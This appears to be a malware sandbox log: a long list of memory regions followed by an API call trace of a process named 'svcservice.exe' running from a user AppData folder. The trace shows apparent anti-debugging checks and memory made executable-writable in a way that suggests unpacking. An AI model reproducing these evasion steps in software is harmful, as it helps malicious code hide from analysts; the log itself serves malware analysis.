entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2697
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2698
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2699
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2700
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2701
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2702
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2703
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2704
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2705
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2706
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2707
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2708
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2709
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2710
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2711
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2712
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2713
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2714
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2715
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2716
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2717
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2718
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2719
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2720
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2721
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2722
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2723
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2724
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2725
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2726
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2727
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2728
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2729
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2730
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2731
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2732
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2733
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2734
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2735
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2736
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2737
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2738
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2739
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2740
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2741
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2742
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2743
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2744
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2745
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2746
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2747
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2748
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2749
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2750
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2751
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2752
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2753
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2754
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2755
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2756
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2757
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2758
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2759
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2760
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2761
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2762
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2763
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2764
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2765
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2766
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2767
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2768
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2769
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2770
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2771
start_va = 0x660000
end_va = 0x664fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 2772
start_va = 0x660000
end_va = 0x660fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000660000"
filename = ""
Region:
id = 2773
start_va = 0x670000
end_va = 0x670fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000670000"
filename = ""
Region:
id = 2774
start_va = 0x680000
end_va = 0x680fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000680000"
filename = ""
Region:
id = 2775
start_va = 0x3120000
end_va = 0x3456fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 2776
start_va = 0x74260000
end_va = 0x7452afff
monitored = 0
entry_point = 0x7449c4c0
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")
Region:
id = 2777
start_va = 0x76c40000
end_va = 0x76cd1fff
monitored = 0
entry_point = 0x76c78cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 2778
start_va = 0xd30000
end_va = 0xe19fff
monitored = 0
entry_point = 0xd6d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 2779
start_va = 0xed0000
end_va = 0xedffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000ed0000"
filename = ""
Region:
id = 2780
start_va = 0x690000
end_va = 0x690fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "counters.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")
Region:
id = 2781
start_va = 0x74960000
end_va = 0x749befff
monitored = 0
entry_point = 0x74964af0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")
Region:
id = 2782
start_va = 0x74240000
end_va = 0x74251fff
monitored = 0
entry_point = 0x74244510
region_type = mapped_file
name = "ondemandconnroutehelper.dll"
filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll")
Region:
id = 2783
start_va = 0x74210000
end_va = 0x7423efff
monitored = 0
entry_point = 0x7421bb70
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")
Region:
id = 2784
start_va = 0x74170000
end_va = 0x7420afff
monitored = 0
entry_point = 0x741af7e0
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")
Region:
id = 2785
start_va = 0x4d0000
end_va = 0x50ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 2786
start_va = 0xd30000
end_va = 0xe2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000d30000"
filename = ""
Region:
id = 2787
start_va = 0x74120000
end_va = 0x7416efff
monitored = 0
entry_point = 0x7412d850
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")
Region:
id = 2788
start_va = 0x510000
end_va = 0x54ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000510000"
filename = ""
Region:
id = 2789
start_va = 0xee0000
end_va = 0xfdffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000ee0000"
filename = ""
Region:
id = 2790
start_va = 0x74ee0000
end_va = 0x74ee6fff
monitored = 0
entry_point = 0x74ee1e10
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")
Region:
id = 2791
start_va = 0x74090000
end_va = 0x74113fff
monitored = 0
entry_point = 0x740b6530
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")
Region:
id = 2792
start_va = 0x74080000
end_va = 0x74087fff
monitored = 0
entry_point = 0x74081fc0
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")
Region:
id = 2793
start_va = 0x590000
end_va = 0x5cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000590000"
filename = ""
Region:
id = 2794
start_va = 0xfe0000
end_va = 0x10dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000fe0000"
filename = ""
Region:
id = 2795
start_va = 0x73f00000
end_va = 0x7407dfff
monitored = 0
entry_point = 0x73f7c630
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")
Region:
id = 2796
start_va = 0xbc0000
end_va = 0xbc0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000bc0000"
filename = ""
Region:
id = 2797
start_va = 0xc20000
end_va = 0xc2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000c20000"
filename = ""
Region:
id = 2798
start_va = 0xbd0000
end_va = 0xbd0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000bd0000"
filename = ""
Region:
id = 2799
start_va = 0x76ba0000
end_va = 0x76c23fff
monitored = 0
entry_point = 0x76bc6220
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 2800
start_va = 0xbe0000
end_va = 0xbe0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000be0000"
filename = ""
Region:
id = 2801
start_va = 0x5d0000
end_va = 0x60ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000005d0000"
filename = ""
Region:
id = 2802
start_va = 0x610000
end_va = 0x64ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000610000"
filename = ""
Region:
id = 2803
start_va = 0x10e0000
end_va = 0x11dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000010e0000"
filename = ""
Region:
id = 2804
start_va = 0x3460000
end_va = 0x355ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003460000"
filename = ""
Region:
id = 2930
start_va = 0xe30000
end_va = 0xe6ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000e30000"
filename = ""
Region:
id = 2931
start_va = 0x3560000
end_va = 0x365ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003560000"
filename = ""
Region:
id = 2933
start_va = 0xbf0000
end_va = 0xbf2fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mswsock.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui")
Region:
id = 2934
start_va = 0xc00000
end_va = 0xc07fff
monitored = 0
entry_point = 0xc019c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2935
start_va = 0xc10000
end_va = 0xc10fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2936
start_va = 0xc00000
end_va = 0xc07fff
monitored = 0
entry_point = 0xc019c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2937
start_va = 0xc10000
end_va = 0xc10fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2938
start_va = 0xc00000
end_va = 0xc07fff
monitored = 0
entry_point = 0xc019c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2939
start_va = 0xc10000
end_va = 0xc10fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2940
start_va = 0xc00000
end_va = 0xc07fff
monitored = 0
entry_point = 0xc019c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 2941
start_va = 0xc10000
end_va = 0xc10fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 2943
start_va = 0xc00000
end_va = 0xc0ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000c00000"
filename = ""
Thread:
id = 174
os_tid = 0x864
[0208.271] LocalAlloc (uFlags=0x0, uBytes=0xc8) returned 0x6b7018
[0208.274] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76ce0000
[0208.277] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77ac0000
[0208.284] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1a, ProcessInformation=0x18f7bc, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18f7bc, ReturnLength=0x0) returned 0x0
[0208.287] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x28, ProcessInformation=0x18f78c, ProcessInformationLength=0xc) returned 0x0
[0208.288] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18f204, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0x18f204, ReturnLength=0x0) returned 0x0
[0208.753] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x18f204, ProcessInformationLength=0x8, ReturnLength=0x18f998 | out: ProcessInformation=0x18f204, ReturnLength=0x18f998) returned 0xc0000353
[0208.754] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x18f204, ProcessInformationLength=0x8, ReturnLength=0x1 | out: ProcessInformation=0x18f204, ReturnLength=0x1) returned 0xc0000005
[0208.755] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
[0208.755] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x18f92c, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x18f92c, ResultLength=0x0) returned 0x0
[0208.755] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x18f948, Length=0x0, ResultLength=0x18f938 | out: SystemInformation=0x18f948, ResultLength=0x18f938*=0x9800) returned 0xc0000004
[0208.756] LocalAlloc (uFlags=0x0, uBytes=0x13000) returned 0x6bb740
[0208.757] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x6bb740, Length=0x13000, ResultLength=0x0 | out: SystemInformation=0x6bb740, ResultLength=0x0) returned 0x0
[0208.915] LocalFree (hMem=0x6bb740) returned 0x0
[0209.031] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18f204, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0x18f204, ReturnLength=0x0) returned 0x0
[0209.031] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
[0209.032] GetModuleFileNameW (in: hModule=0x11e0000, lpFilename=0x18f454, nSize=0xfe | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")) returned 0x3e
[0209.036] NtOpenFile (in: FileHandle=0x18f200, DesiredAccess=0x80100080, ObjectAttributes=0x18f1c0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18f1f0, ShareAccess=0x3, OpenOptions=0x60 | out: FileHandle=0x18f200*=0x170, IoStatusBlock=0x18f1f0*(Status=0x0, Pointer=0x20600000000, Information=0x1)) returned 0x0
[0209.037] NtCreateSection (in: SectionHandle=0x18f1fc, DesiredAccess=0x4, ObjectAttributes=0x18f1d0*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x170 | out: SectionHandle=0x18f1fc*=0x174) returned 0x0
[0209.038] NtMapViewOfSection (in: SectionHandle=0x174, ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f1f0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x18f1e8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x18f1f0*=0x3120000, SectionOffset=0x0, ViewSize=0x18f1e8*=0x35638000) returned 0x0
[0209.131] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x3120000) returned 0x0
[0209.246] NtClose (Handle=0x174) returned 0x0
[0209.246] NtClose (Handle=0x170) returned 0x0
[0209.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x121c000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x40, OldAccessProtection=0x18f818 | out: BaseAddress=0x18f204*=0x121c000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f818*=0x20) returned 0x0
[0209.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x11e1000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x40, OldAccessProtection=0x18f818 | out: BaseAddress=0x18f204*=0x11e1000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f818*=0x20) returned 0x0
[0209.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x120b000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x4, OldAccessProtection=0x18f818 | out: BaseAddress=0x18f204*=0x120b000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f818*=0x2) returned 0x0
[0209.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x1241000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x4, OldAccessProtection=0x18f818 | out: BaseAddress=0x18f204*=0x1241000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f818*=0x80) returned 0x0
[0209.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x18f204*=0x1ccd000, NumberOfBytesToProtect=0x18f1fc, NewAccessProtection=0x4, OldAccessProtection=0x18f818 | out: BaseAddress=0x18f204*=0x1ccd000, NumberOfBytesToProtect=0x18f1fc, OldAccessProtection=0x18f818*=0x2) returned 0x0
[0209.263] LocalAlloc (uFlags=0x0, uBytes=0x3e6c) returned 0x6bb740
[0209.879] LocalFree (hMem=0x6bb740) returned 0x0
[0209.880] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76ce0000
[0209.882] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.888] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.888] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
[0209.889] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77ac0000
